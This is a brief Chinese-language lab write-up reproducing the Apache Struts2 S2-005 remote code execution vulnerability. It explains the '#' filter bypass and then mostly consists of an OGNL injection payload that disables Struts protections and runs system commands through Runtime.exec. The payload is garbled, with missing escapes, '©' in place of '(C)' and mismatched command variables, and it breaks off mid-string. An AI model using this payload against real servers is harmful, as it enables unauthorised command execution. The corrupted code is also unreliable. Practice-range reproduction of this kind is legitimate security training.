Apache Struts2远程代码执行漏洞(S2-005)复现
难易程度:★★
题目类型:命令执行
使用工具:k8
漏洞原理:OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码或8进制即绕过了安全限制。
1.打开靶场,了解s2-005漏洞原理
2.构造poc
?(‘u0023context[‘xwork.MethodAccessor.denyMethodExecution’]u003dfalse’)(bla)(bla)&(‘u0023_memberAccess.excludePropertiesu003d@java.util.Collections@EMPTY_SET’)(kxlzx)(kxlzx)&(‘u0023_memberAccess.allowStaticMethodAccessu003dtrue’)(bla)(bla)&(‘u0023mycmdu003d’ipconfig’’)(bla)(bla)&(‘u0023myretu003d@java.lang.Runtime@getRuntime().exec(u0023whoami)’)(bla)(bla)&(A)((‘u0023mydatu003dnew40java.io.DataInputStream(u0023myret.getInputStream())’)(bla))&(B)((‘u0023myresu003dnew40byte[51020]’)(bla))&©((‘u0023mydat.readFully(u0023myres)’)(bla))&(D)((‘u0023mystru003dnew40java.lang.String(u0023myres)’)(bla))&(‘u0023myoutu003d@o